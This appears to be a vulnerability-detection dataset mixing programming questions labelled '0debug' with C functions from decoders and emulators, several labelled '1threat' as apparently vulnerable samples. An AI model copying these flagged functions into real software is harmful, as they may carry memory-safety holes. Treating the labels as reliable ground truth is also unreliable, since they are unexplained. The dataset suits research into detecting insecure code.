problem
stringlengths
26
131k
labels
class label
2 classes
Detecting irregularities or the so called outliners : <p>Hello dear boys and girls, I apologize if the question is not in the right place (talking about the right forum - stackoverflow, etc.)</p> <p>I can use python and R on a semi-intermediate level... I have been wondering for a while about the topic of this question:</p> <ol> <li>If i have a data set that i can build a statistical model on then all is well. I build the model, test it, test it again, make a score card and poof.</li> <li>I want to know... Is there a way of (theoretically or even practically) to detect irregularities/outliners in data without a previous data set that (for example) you can build a statistical model on. I mean a way that excludes checking 400 million records and flagging the irregs as such and then doing something productive.</li> </ol> <p>Is this possible? Identifying such things without a preset solid definition for the given data set? Lets take accounting records for example. I have "x" amount of records and i want to detect any records that are not "natural" for the data set. is there a way to code a system that does that - given that you don't have prior data with such records flagged as not normal?</p>
0debug
How to Map a specific element of a list : How can I map a list till I find a element? Any suggestion? Example: List = [1,2,3,4,5,6] I want to map only if I find 3 and stop there. function x = x*2 Output: List = [1,2,6,4,5,6]
0debug
static inline void gen_addr_imm_index (DisasContext *ctx) { target_long simm = SIMM(ctx->opcode); if (rA(ctx->opcode) == 0) { gen_op_set_T0(simm); } else { gen_op_load_gpr_T0(rA(ctx->opcode)); if (likely(simm != 0)) gen_op_addi(simm); } }
1threat
PHP will not echo variables : <p>I have the following very basic PHP script:</p> <pre><code> &lt;?php $username = $_POST['username']; $password = $_POST['password']; echo "This is the username: "; echo $username; ?&gt; </code></pre> <p>And this is the output:</p> <pre><code>This is the username: </code></pre> <p>I have my username and password parameters in my url. Why won't it echo the username?</p>
0debug
Showing Json response in Recycler view using card view in android studio in java : I have to show my JSON response in a recycler view using card view with use of volley library .My JSON response is something like { "id": 87, "parent_id": 0, "shipping": { "first_name": "JPbrajesh", "last_name": "kumar", }, "payment_method": "COD", "line_items": [ { "id": 16, "name": "abc", "price": 85 }, { "id": 17, "name": "zxc", "price": 38 }, { "id": 18, "name": "asd", "price": 136 } ], "tax_lines": [], "shipping_lines": [ { "id": 19, } ], "fee_lines": [], "_links": { "self": [ { "href": "https://example.com/wp-json/wc/v2/orders/87" } ], "collection": [ { "href": "https://example.com/wp-json/wc/v2/orders" } ] } } `i have to show (Line_items) in a recycler view using **volley Library**.Please provide some related steps.Thankyou in advance for kind support.
0debug
void st_set_trace_file_enabled(bool enable) { if (enable == !!trace_fp) { return; } flush_trace_file(true); trace_writeout_enabled = false; flush_trace_file(true); if (enable) { static const TraceRecord header = { .event = HEADER_EVENT_ID, .timestamp_ns = HEADER_MAGIC, .x1 = HEADER_VERSION, }; trace_fp = fopen(trace_file_name, "w"); if (!trace_fp) { return; } if (fwrite(&header, sizeof header, 1, trace_fp) != 1) { fclose(trace_fp); trace_fp = NULL; return; } trace_writeout_enabled = true; flush_trace_file(false); } else { fclose(trace_fp); trace_fp = NULL; } }
1threat
static QObject *qobject_input_get_object(QObjectInputVisitor *qiv, const char *name, bool consume, Error **errp) { StackObject *tos; QObject *qobj; QObject *ret; if (QSLIST_EMPTY(&qiv->stack)) { assert(qiv->root); return qiv->root; } tos = QSLIST_FIRST(&qiv->stack); qobj = tos->obj; assert(qobj); if (qobject_type(qobj) == QTYPE_QDICT) { assert(name); ret = qdict_get(qobject_to_qdict(qobj), name); if (tos->h && consume && ret) { bool removed = g_hash_table_remove(tos->h, name); assert(removed); } if (!ret) { error_setg(errp, QERR_MISSING_PARAMETER, name); } } else { assert(qobject_type(qobj) == QTYPE_QLIST); assert(!name); ret = qlist_entry_obj(tos->entry); assert(ret); if (consume) { tos->entry = qlist_next(tos->entry); } } return ret; }
1threat
Create Custom PHP Page for Wordpress in Doc Root : <p>I am having trouble, I am pretty new to Wordpress development, and I'm trying to create a page in my public_html that can be used with Wordpress and it's current theme. For example, website.com/text.php would need to include footer and header and also be able to communicate with Wordpress. </p> <p>I've done a lot of research and cannot seem to find how to pull this off, can anyone here assist me?</p>
0debug
Extract Largest Number from list of strings in python : <p>so I am trying to extract the largest number from a list of strings in python. The string I'm trying to work with looks like this</p> <pre><code>a = ['a', '3', '5', 'c10', 'foo', 'bar', '999'] </code></pre> <p>And I'm trying to get back the largest number. So in this case, it would be 999 and I wan't it back as an int.</p> <p>I can't seem to find a pretty way of doing this, hope you guys can help.</p>
0debug
rdt_new_context (void) { PayloadContext *rdt = av_mallocz(sizeof(PayloadContext)); int ret = avformat_open_input(&rdt->rmctx, "", &ff_rdt_demuxer, NULL); if (ret < 0) { av_free(rdt); return NULL; } return rdt; }
1threat
static int decode_frame(AVCodecContext * avctx, void *data, int *data_size, UINT8 * buf, int buf_size) { MPADecodeContext *s = avctx->priv_data; UINT32 header; UINT8 *buf_ptr; int len, out_size; short *out_samples = data; *data_size = 0; buf_ptr = buf; while (buf_size > 0) { len = s->inbuf_ptr - s->inbuf; if (s->frame_size == 0) { if (s->free_format_next_header != 0) { s->inbuf[0] = s->free_format_next_header >> 24; s->inbuf[1] = s->free_format_next_header >> 16; s->inbuf[2] = s->free_format_next_header >> 8; s->inbuf[3] = s->free_format_next_header; s->inbuf_ptr = s->inbuf + 4; s->free_format_next_header = 0; goto got_header; } len = HEADER_SIZE - len; if (len > buf_size) len = buf_size; if (len > 0) { memcpy(s->inbuf_ptr, buf_ptr, len); buf_ptr += len; buf_size -= len; s->inbuf_ptr += len; } if ((s->inbuf_ptr - s->inbuf) >= HEADER_SIZE) { got_header: header = (s->inbuf[0] << 24) | (s->inbuf[1] << 16) | (s->inbuf[2] << 8) | s->inbuf[3]; if (check_header(header) < 0) { memcpy(s->inbuf, s->inbuf + 1, s->inbuf_ptr - s->inbuf - 1); s->inbuf_ptr--; dprintf("skip %x\n", header); s->free_format_frame_size = 0; } else { if (decode_header(s, header) == 1) { s->frame_size = -1; memcpy(s->inbuf, s->inbuf + 1, s->inbuf_ptr - s->inbuf - 1); s->inbuf_ptr--; } else { avctx->sample_rate = s->sample_rate; avctx->channels = s->nb_channels; avctx->bit_rate = s->bit_rate; avctx->frame_size = s->frame_size; } } } } else if (s->frame_size == -1) { len = MPA_MAX_CODED_FRAME_SIZE - len; if (len > buf_size) len = buf_size; if (len == 0) { s->frame_size = 0; } else { UINT8 *p, *pend; UINT32 header1; int padding; memcpy(s->inbuf_ptr, buf_ptr, len); p = s->inbuf_ptr - 3; pend = s->inbuf_ptr + len - 4; while (p <= pend) { header = (p[0] << 24) | (p[1] << 16) | (p[2] << 8) | p[3]; header1 = (s->inbuf[0] << 24) | (s->inbuf[1] << 16) | (s->inbuf[2] << 8) | s->inbuf[3]; if ((header & SAME_HEADER_MASK) == (header1 & SAME_HEADER_MASK)) { len = (p + 4) - s->inbuf_ptr; buf_ptr += len; buf_size -= len; s->inbuf_ptr = p; s->free_format_next_header = header; s->free_format_frame_size = s->inbuf_ptr - s->inbuf; padding = (header1 >> 9) & 1; if (s->layer == 1) s->free_format_frame_size -= padding * 4; else s->free_format_frame_size -= padding; dprintf("free frame size=%d padding=%d\n", s->free_format_frame_size, padding); decode_header(s, header1); goto next_data; } p++; } buf_ptr += len; s->inbuf_ptr += len; buf_size -= len; } } else if (len < s->frame_size) { if (s->frame_size > MPA_MAX_CODED_FRAME_SIZE) s->frame_size = MPA_MAX_CODED_FRAME_SIZE; len = s->frame_size - len; if (len > buf_size) len = buf_size; else if (len < 4) len = buf_size > 4 ? 4 : buf_size; memcpy(s->inbuf_ptr, buf_ptr, len); buf_ptr += len; s->inbuf_ptr += len; buf_size -= len; } else { out_size = mp_decode_frame(s, out_samples); s->inbuf_ptr = s->inbuf; s->frame_size = 0; *data_size = out_size; break; } next_data: } return buf_ptr - buf; }
1threat
Warning about system root certificate pool crypto/x509 : <p>I am having the following warning message when issueing docker commands: (ex: docker ps)</p> <pre><code>C:\Users\whha&gt;docker ps time="2017-01-24T23:17:36+01:00" level=warning msg="Unable to use system certificate pool: crypto/x509: system root pool is not available on Windows" </code></pre> <p>Any idea how can it be avoided? I´m running docker using docker toolbox on windows 8.1.</p>
0debug
static int idcin_decode_frame(AVCodecContext *avctx, void *data, int *data_size, AVPacket *avpkt) { const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; IdcinContext *s = avctx->priv_data; const uint8_t *pal = av_packet_get_side_data(avpkt, AV_PKT_DATA_PALETTE, NULL); s->buf = buf; s->size = buf_size; if (s->frame.data[0]) avctx->release_buffer(avctx, &s->frame); if (avctx->get_buffer(avctx, &s->frame)) { av_log(avctx, AV_LOG_ERROR, "get_buffer() failed\n"); return -1; } idcin_decode_vlcs(s); if (pal) { s->frame.palette_has_changed = 1; memcpy(s->pal, pal, AVPALETTE_SIZE); } memcpy(s->frame.data[1], s->pal, AVPALETTE_SIZE); *data_size = sizeof(AVFrame); *(AVFrame*)data = s->frame; return buf_size; }
1threat
my java application doesnt work and i have no clue why : <p>I'm trying to create a simple application that creates a 2D Grid based off of its dimensions and then prints it, but the main method throws an error every time. what am i doing wrong?</p> <pre><code>static void int[][] createGrid(int x, int y) { int Grid[][] = new int[x][y]; for (int a = 0; a &lt; Grid.length; a++) { for (int b = 0; b &lt; Grid[a].length; a++) { //check if there is something that currently needs to go there //else Grid[a][b] = 0; } } } public static void printgrid (int[][] Grid) { for (int a = 0; a &lt; Grid.length; a++) { for (int b = 0; b &lt; Grid[a].length; b++) { System.out.print(Grid[a][b]); } System.out.println(); } } public static void main(String[] args) { printgrid(createGrid(10, 20)); } </code></pre> <p>}</p>
0debug
static av_always_inline void hl_decode_mb_predict_luma(H264Context *h, int mb_type, int is_h264, int simple, int transform_bypass, int pixel_shift, int *block_offset, int linesize, uint8_t *dest_y, int p) { void (*idct_add)(uint8_t *dst, int16_t *block, int stride); void (*idct_dc_add)(uint8_t *dst, int16_t *block, int stride); int i; int qscale = p == 0 ? h->qscale : h->chroma_qp[p - 1]; block_offset += 16 * p; if (IS_INTRA4x4(mb_type)) { if (IS_8x8DCT(mb_type)) { if (transform_bypass) { idct_dc_add = idct_add = h->h264dsp.h264_add_pixels8_clear; } else { idct_dc_add = h->h264dsp.h264_idct8_dc_add; idct_add = h->h264dsp.h264_idct8_add; } for (i = 0; i < 16; i += 4) { uint8_t *const ptr = dest_y + block_offset[i]; const int dir = h->intra4x4_pred_mode_cache[scan8[i]]; if (transform_bypass && h->sps.profile_idc == 244 && dir <= 1) { h->hpc.pred8x8l_add[dir](ptr, h->mb + (i * 16 + p * 256 << pixel_shift), linesize); } else { const int nnz = h->non_zero_count_cache[scan8[i + p * 16]]; h->hpc.pred8x8l[dir](ptr, (h->topleft_samples_available << i) & 0x8000, (h->topright_samples_available << i) & 0x4000, linesize); if (nnz) { if (nnz == 1 && dctcoef_get(h->mb, pixel_shift, i * 16 + p * 256)) idct_dc_add(ptr, h->mb + (i * 16 + p * 256 << pixel_shift), linesize); else idct_add(ptr, h->mb + (i * 16 + p * 256 << pixel_shift), linesize); } } } } else { if (transform_bypass) { idct_dc_add = idct_add = h->h264dsp.h264_add_pixels4_clear; } else { idct_dc_add = h->h264dsp.h264_idct_dc_add; idct_add = h->h264dsp.h264_idct_add; } for (i = 0; i < 16; i++) { uint8_t *const ptr = dest_y + block_offset[i]; const int dir = h->intra4x4_pred_mode_cache[scan8[i]]; if (transform_bypass && h->sps.profile_idc == 244 && dir <= 1) { h->hpc.pred4x4_add[dir](ptr, h->mb + (i * 16 + p * 256 << pixel_shift), linesize); } else { uint8_t *topright; int nnz, tr; uint64_t tr_high; if (dir == DIAG_DOWN_LEFT_PRED || dir == VERT_LEFT_PRED) { const int topright_avail = (h->topright_samples_available << i) & 0x8000; av_assert2(h->mb_y || linesize <= block_offset[i]); if (!topright_avail) { if (pixel_shift) { tr_high = ((uint16_t *)ptr)[3 - linesize / 2] * 0x0001000100010001ULL; topright = (uint8_t *)&tr_high; } else { tr = ptr[3 - linesize] * 0x01010101u; topright = (uint8_t *)&tr; } } else topright = ptr + (4 << pixel_shift) - linesize; } else topright = NULL; h->hpc.pred4x4[dir](ptr, topright, linesize); nnz = h->non_zero_count_cache[scan8[i + p * 16]]; if (nnz) { if (is_h264) { if (nnz == 1 && dctcoef_get(h->mb, pixel_shift, i * 16 + p * 256)) idct_dc_add(ptr, h->mb + (i * 16 + p * 256 << pixel_shift), linesize); else idct_add(ptr, h->mb + (i * 16 + p * 256 << pixel_shift), linesize); } else if (CONFIG_SVQ3_DECODER) ff_svq3_add_idct_c(ptr, h->mb + i * 16 + p * 256, linesize, qscale, 0); } } } } } else { h->hpc.pred16x16[h->intra16x16_pred_mode](dest_y, linesize); if (is_h264) { if (h->non_zero_count_cache[scan8[LUMA_DC_BLOCK_INDEX + p]]) { if (!transform_bypass) h->h264dsp.h264_luma_dc_dequant_idct(h->mb + (p * 256 << pixel_shift), h->mb_luma_dc[p], h->dequant4_coeff[p][qscale][0]); else { static const uint8_t dc_mapping[16] = { 0 * 16, 1 * 16, 4 * 16, 5 * 16, 2 * 16, 3 * 16, 6 * 16, 7 * 16, 8 * 16, 9 * 16, 12 * 16, 13 * 16, 10 * 16, 11 * 16, 14 * 16, 15 * 16 }; for (i = 0; i < 16; i++) dctcoef_set(h->mb + (p * 256 << pixel_shift), pixel_shift, dc_mapping[i], dctcoef_get(h->mb_luma_dc[p], pixel_shift, i)); } } } else if (CONFIG_SVQ3_DECODER) ff_svq3_luma_dc_dequant_idct_c(h->mb + p * 256, h->mb_luma_dc[p], qscale); } }
1threat
Expand pandas DataFrame column into multiple rows : <p>If I have a <code>DataFrame</code> such that:</p> <pre><code>pd.DataFrame( {"name" : "John", "days" : [[1, 3, 5, 7]] }) </code></pre> <p>gives this structure:</p> <pre><code> days name 0 [1, 3, 5, 7] John </code></pre> <p>How do expand it to the following?</p> <pre><code> days name 0 1 John 1 3 John 2 5 John 3 7 John </code></pre>
0debug
What matlab release do I need to be able to use `webread`? : <p>I have matlab R2010a installed on my computer. I tried to use <code>webread</code>to read content from RESTful web service. I can't found it in matlab R2010a. What matlab release do I need to be able to use <code>webread</code>? </p>
0debug
Value cannot be null. Parameter name: connectionString appsettings.json in starter : <p>I am trying to write my connection string in my appsettings.json file and bring it into my startup file but I keep getting a Value cannot be null. Parameter name: connectionString. I have been using various examples but can't seem to see this new setup with ASP.NET 1.0 Core startup class. </p> <p>Appsetting.json file:</p> <pre><code>{ "Data": { "DefaultConnection": { "ConnectionString": "Data Source=server;Initial Catalog=dbase;Trusted_Connection=True;MultipleActiveResultSets=true" }, "Logging": { "IncludeScopes": false, "LogLevel": { "Default": "Debug", "System": "Information", "Microsoft": "Information" } } } } </code></pre> <p>Method attempting Startup.cs</p> <pre><code>public Startup(IHostingEnvironment env) { var builder = new ConfigurationBuilder() .SetBasePath(env.ContentRootPath) .AddJsonFile("appsettings.json", optional: true, reloadOnChange: true) .AddJsonFile($"appsettings.{env.EnvironmentName}.json", optional: true) .AddEnvironmentVariables(); Configuration = builder.Build(); } public void ConfigureServices(IServiceCollection services) { var connStr = Configuration.GetConnectionString("DefaultConnection"); System.Console.WriteLine(connStr); services.AddDbContext&lt;DbContext&gt;(options =&gt; options.UseSqlServer(connStr)); //error right here -- Null value } </code></pre>
0debug
excel select records based on multiple field values : how do I select records based on multiple field values in an excel table, eg, to answer the following question: "Identify all the transactions in which Jen sold lipstick in the East region". therefor I have to identify records where name=Jen product=lipstick and location=east. TIA
0debug
jQuery, .load, javascript, (prevevent scroll up), XMLHttpRequest, .innerHTML, CSS/JS NOT WORKING : When using this code no CSS/Javascript works (It just loads the HTML): function functionName(limit) { /* var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (xhttp.readyState == 4 && xhttp.status == 200) { var text = xhttp.responseText; document.getElementById("content").innerHTML = ""; document.getElementById("content").innerHTML = text; } } xhttp.open("GET", "?x=test&limit=" + limit, false); xhttp.send(); */ } When using jQuery CSS/Javascript works, now the problem is that the page scrolls up when loading the content. $('#content').load('?x=test&limit=" + limit); What i want is a way to load an URL to a DIV, where CSS and Javascript works. And like .innerHTML i want to load the content without scrolling to the top. Hope for help, yesterday i googled for 6-8 hours, and im a google-fu guru =) //PsyTsd
0debug
int mmu_translate(CPUS390XState *env, target_ulong vaddr, int rw, uint64_t asc, target_ulong *raddr, int *flags, bool exc) { int r = -1; uint8_t *sk; *flags = PAGE_READ | PAGE_WRITE | PAGE_EXEC; vaddr &= TARGET_PAGE_MASK; if (!(env->psw.mask & PSW_MASK_DAT)) { *raddr = vaddr; r = 0; goto out; } switch (asc) { case PSW_ASC_PRIMARY: PTE_DPRINTF("%s: asc=primary\n", __func__); r = mmu_translate_asce(env, vaddr, asc, env->cregs[1], raddr, flags, rw, exc); break; case PSW_ASC_HOME: PTE_DPRINTF("%s: asc=home\n", __func__); r = mmu_translate_asce(env, vaddr, asc, env->cregs[13], raddr, flags, rw, exc); break; case PSW_ASC_SECONDARY: PTE_DPRINTF("%s: asc=secondary\n", __func__); if (rw == MMU_INST_FETCH) { r = mmu_translate_asce(env, vaddr, PSW_ASC_PRIMARY, env->cregs[1], raddr, flags, rw, exc); *flags &= ~(PAGE_READ | PAGE_WRITE); } else { r = mmu_translate_asce(env, vaddr, PSW_ASC_SECONDARY, env->cregs[7], raddr, flags, rw, exc); *flags &= ~(PAGE_EXEC); } break; case PSW_ASC_ACCREG: default: hw_error("guest switched to unknown asc mode\n"); break; } out: *raddr = mmu_real2abs(env, *raddr); if (*raddr <= ram_size) { sk = &env->storage_keys[*raddr / TARGET_PAGE_SIZE]; if (*flags & PAGE_READ) { *sk |= SK_R; } if (*flags & PAGE_WRITE) { *sk |= SK_C; } } return r; }
1threat
Python: Making dataframe in pandas : <p>Is there a way where I can make my data frame (using pandas) like this? <a href="https://i.stack.imgur.com/d6B2N.png" rel="nofollow noreferrer">expected data frame format</a></p>
0debug
I want to store date in dd-MMM-yyyy (17-MAR-2017) in string say X. : <p>in one string say X. Now I want to split this string in another string that is, say y= x.split , such that y[0] = 17, y[1] = MAR y[2] = 2017. How to write prog for this in Java. </p>
0debug
Are Lambda in JSX Attributes an anti-pattern? : <p>I started using a new linter today (tslint-react) and it is giving me the following warning:</p> <p>"Lambdas are forbidden in JSX attributes due to their rendering performance impact"</p> <p>I get that this causes the a new function to be created with each render. And that it could trigger unneeded re-renders because the child component will think it's props have changed.</p> <p>But my question is this, how else can one pass parameters to an event handler inside a loop:</p> <pre><code>customers.map( c =&gt; &lt;Btn onClick={ () =&gt; this.deleteCust(c.id) } /&gt; ); </code></pre>
0debug
How to use classes in android : <p>im not new to programming and to android at all, but I have a little problem. I can make some good apps work, but I fell like im not working very good with the classes issue. For Example, if I have a background that moving , or any other animations, I will always put the code in the MainActivity. And I have seen some projects which have class named "background animation" or "missle falling class" that making some missles fall in the background . So the problem is that I will always put the code in the main activity. I know how to use classes, but this is a problem for me, i dont know when to put the code on another class or not. thank you . I will tell more so you will understand. When you making a game in android, you probably will have class for your "game" or game class, and I dont have one. I know I need it, but I have no idea how to connect the whole game to one class. Did you understand ? thank you !!</p>
0debug
Retrieving random item in array returns 'undefined' : <p>I used Math.random() to generate a random number between 1 and however many items are in the array <code>availableNumbers()</code></p> <p>However, when the document's innerHTML is updated with this, suggestedNumber resolved to undefined,</p> <p>I tried subtracting 1 from randomNumber but that did not make a difference.</p> <p>I have checked the W3 documentation and it looks like this is implemented correctly...</p> <p>How would one best go about retrieving a random item from an array? Is there a better implementation than what I sought to implement?</p> <pre><code>var availableNumbers = ["0", "911"]; function numberSuggestion() { var randomNumber = Math.random() * availableNumbers.length -1; var suggestedNumber = availableNumbers[randomNumber]; document.getElementById("suggestion").innerHTML = "How about dialing " + suggestedNumber + "? Don't like this number? Click the button above again!"; } </code></pre>
0debug
javascript get random element from array : The thing is that the post title is not the actual thing what I need. The answer I need is much more harder. Ok, so I have very big array of numbers in javascript: [1, 1.01, 1.02, 1.03, ..., 1.99, 2, ..., 9.98, 9.99, ..., 299.99, 300] And what I need is to get one of them using random segment. So basically I need random number but the catch is that I need to get random using the lottery style. So the chance to get "1" will be 30 000 (very hight) and the chance to get 1.01 will be 29 999. But the chance to get 300 will be very low according of all numbers in this array. I hope you will understand the problem and will help me to solve this. As I have mentioned before, this have to be made 100% randomly and I have no idea how to make it..
0debug
static void arm_cache_flush(abi_ulong start, abi_ulong last) { abi_ulong addr, last1; if (last < start) return; addr = start; for(;;) { last1 = ((addr + TARGET_PAGE_SIZE) & TARGET_PAGE_MASK) - 1; if (last1 > last) last1 = last; tb_invalidate_page_range(addr, last1 + 1); if (last1 == last) break; addr = last1 + 1; } }
1threat
Git error when pushing (remote failed to report status) : <p>I cloned a repository from a github enterprise remote with the option "--mirror".</p> <p>I'd like to push that repo in another remote repository but i've the following error:</p> <pre><code>&gt; ! [remote failure] XXXX-7342f50b84fbfff3a2bbdcf81481dbcb2d88e5cd -&gt; XXXX-7342f50b84fbfff3a2bbdcf81481dbcb2d88e5cd (remote failed to report status) &gt; error: failed to push some refs to 'git@github.ZZZZ.com:XXXX/YYYY.git' &gt; Branch master set up to track remote branch master from origin. </code></pre>
0debug
c++ reading an array char from a text file : I got a function : uintptr_t FindPattern(HANDLE hProcess, uintptr_t start, uintptr_t end, char *pattern, char *mask); when i call it like this, it's OK : uintptr_t found = FindPattern(hProcess, START, END, "\x89\x41\x24\xE9\x00\x00\x00\x00\x8B\x46\x00\x6A\x00\x6A\x00\x50\x8B\xCE\xE8", "xxxx????xx?xxxxxxxx"); now, i'm storing pattern and mask in a text file, reading these as string and convert them back to char, but it's no more working : char* tmp1 = new char[pattern.length() + 1]; strncpy(tmp1, pattern.c_str(), pattern.length()); tmp1[pattern.length()] = '\0'; char* tmp2 = new char[mask.length() + 1]; strncpy(tmp2, mask.c_str(), mask.length()); tmp2[mask.length()] = '\0'; uintptr_t found = FindPattern(hProcess, START, END, tmp1, tmp2); delete[] tmp1; delete[] tmp2; for what i see, mask is OK but i got a problem with pattern. i think i have to suppress "\" or maybe doubling them ("\\\").
0debug
Angular Materials: Can you disable the autocomplete suggestions for an input? : <p>I'm just using simple input containers such as this</p> <pre><code>&lt;md-input-container class="md-block" flex-gt-sm &gt; &lt;label&gt;Name&lt;/label&gt; &lt;input md-maxlength="30" name="name" ng-model="name" /&gt; &lt;/md-input-container&gt; </code></pre> <p>The input field is suggesting previously entered values which is obscuring some important interface elements and also really not necessary in my case. Is there any way to disable the suggestions?</p>
0debug
static void dequantize_slice_buffered(SnowContext *s, slice_buffer * sb, SubBand *b, IDWTELEM *src, int stride, int start_y, int end_y){ const int w= b->width; const int qlog= av_clip(s->qlog + b->qlog, 0, QROOT*16); const int qmul= ff_qexp[qlog&(QROOT-1)]<<(qlog>>QSHIFT); const int qadd= (s->qbias*qmul)>>QBIAS_SHIFT; int x,y; if(s->qlog == LOSSLESS_QLOG) return; for(y=start_y; y<end_y; y++){ IDWTELEM * line = slice_buffer_get_line(sb, (y * b->stride_line) + b->buf_y_offset) + b->buf_x_offset; for(x=0; x<w; x++){ int i= line[x]; if(i<0){ line[x]= -((-i*qmul + qadd)>>(QEXPSHIFT)); }else if(i>0){ line[x]= (( i*qmul + qadd)>>(QEXPSHIFT)); } } } }
1threat
How does password manager rechecks the password as salt value is random? : <p>I am relatively new to LINUX, so I am having trouble understanding one concept related to pass in LINUX.</p> <p>I learnt that UNIX stores my passwords by hashing it, and storing along with the randomly generated salt value.</p> <p><code>Salt value is nothing but a random data that's generated to combine with the original password, inorder to increase the strength of the hash.</code></p> <p>So now lets say I want to login again using my password, the manager calculates the hash but from where will it bring the same salt for checking the result with the password database?</p>
0debug
Is it possible to connect to a running docker container with Winscp? : <p>I am able to connect to host on which docker system runs. But I cannot find out how to connecting to the docker directly. Does anyone know what I need to adjust in WinSCP added to connect? Sure, I am able to open by putty, but I want to connect by WinSCP. </p>
0debug
html/css/javascript button in the table doesnt work : 1. i put the button in the table, and it is automatically disabled!! the button is not working , and i don't know why. help me!! 2. the second question that i want to ask is that i put the image in my button. and if i click the button, it want to change the image into another one. help me how to do it! <table border="0" id="seat_btn"> <tr> <td><button class="btn" id="a1" type="submit" style="border:0px; background-color:white;" onclick="alert('a1눌렸어요')"><img class="btn-img" src="seat1.png"></button></td> <td><button class="btn" id="a2" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat2.png"></button></td> <td></td><td></td><td></td><td></td><td></td><td></td> <td><button class="btn" id="a3" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat3.png"></button></td> <td><button class="btn" id="a4" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat4.png"></button></td> <td></td><td></td><td></td><td></td><td></td><td></td> <td><button class="btn" id="a5" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat5.png"></button></td> <td><button class="btn" id="a6" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat6.png"></button></td> </tr> <tr> <td><button class="btn" id="b1" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat1.png"></button></td> <td><button class="btn" id="b2" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat2.png"></button></td> <td></td><td></td><td></td><td></td><td></td><td></td> <td><button class="btn" id="b3" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat3.png"></button></td> <td><button class="btn" id="b4" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat4.png"></button></td> <td></td><td></td><td></td><td></td><td></td><td></td> <td><button class="btn" id="b5" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat5.png"></button></td> <td><button class="btn" id="b6" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat6.png"></button></td> </tr> <tr> <td><button class="btn" id="c1" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat1.png"></button></td> <td><button class="btn" id="c2" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat2.png"></button></td> <td></td><td></td><td></td><td></td><td></td><td></td> <td><button class="btn" id="c3" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat3.png"></button></td> <td><button class="btn" id="c4" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat4.png"></button></td> <td></td><td></td><td></td><td></td><td></td><td></td> <td><button class="btn" id="c5" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat5.png"></button></td> <td><button class="btn" id="c6" type="submit" style="border:0px; background-color:white;"><img class="btn-img" src="seat6.png"></button></td> </tr> <tr><td><button type="submit" value="1" style="height:100px;" onclick="alert('안뇽')">dfdf</button></td></tr> </table>
0debug
segmentation fault while trying to write a function to sum elements of an array : <p>I've been stuck on this one problem for a while and I'm not sure how I should proceed with this. </p> <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; int ItSum(int *array, int array_size); int main(){ int array_size, isum, sum; printf("\nPlease enter the size of the array:"); scanf("%d",&amp;array_size); int *array; array=(int*)malloc(array_size*sizeof(int)); printf("Please enter the elements of the array:"); int i; for(i=0; i&lt;array_size;i++) scanf("%d",&amp;array[i]); printf("\nThe elements of the array are:"); for(i=0; i&lt;array_size; i++) printf(" %d", array[i]); isum=ItSum(*array,array_size); printf("\nThe sum of the elements using iteration is:%d", isum); free (array); return 0; } int ItSum(int *array, int array_size){ int x, itsum; itsum=0; for (x=0;x&lt;array_size;x++) itsum+=array[x]; return itsum; } </code></pre> <p>So here's my code so far, and the assignment is to write an iterative and a recursive function that adds five positive integers under 20 together (the inputs that the prof wants us to test have a bunch of negatives and integers above 20). However, when I try and run what I have so far I get a segmentation fault after inputting the elements of the array. I'm not exactly sure what exactly is going wrong here, so any hints or clues would be much appreciated. Thanks. </p>
0debug
book(foundation for analytics with python) about merge csvs : I am reading book(foundation for analytics with python) and trying to merge csv files. I had search about this issue, and found many answer. but i couldn't apply answers to my issue. My issue is--> > input_path = sys.argv[1] IndexError: list index out of range my code is --> import csv import glob import os import sys input_path = sys.argv[1] output_file = sys.argv[2] first_file = True for input_file in glob.glob(os.path.join(input_path, 'csv_*')): print(os.path.basename(input_file)) with open(input_file, 'r', newline='') as csv_in_file: with open(output_file, 'a', newline='') as csv_out_file: filereader = csv.reader(csv_in_file) filewriter = csv.writer(csv_out_file) if first_file: for row in filereader: filewriter.writerow(row) first_file = False else: header = next(filereader) for row in filereader: filewriter.writerow(row) please help me...
0debug
Can someone explain how I made this code work? : <p>So we had a lab activity a few days ago where we had to print the number of letters in a word alphabetically. No duplicate printing of the same letter. For some reason, I got it to work by typing the condition if x[i] == x[i-1] but after coming home, I can't wrap my head on how I came up with this and how this works in the first place. Can someone explain to me how it worked? Even though it worked I want to know the logic behind that "if" condition. Thanks and good day.</p> <pre><code>word = (sorted(str.upper(raw_input("Enter your word(s): ")))) def counts(x): for i in range(len(x)): count = 0 for g in range(len(x)): if x[g] == x[i]: count += 1 else: continue if x[i] == x[i-1]: continue else: print x[i],"occurs", count,"times." counts(word) </code></pre>
0debug
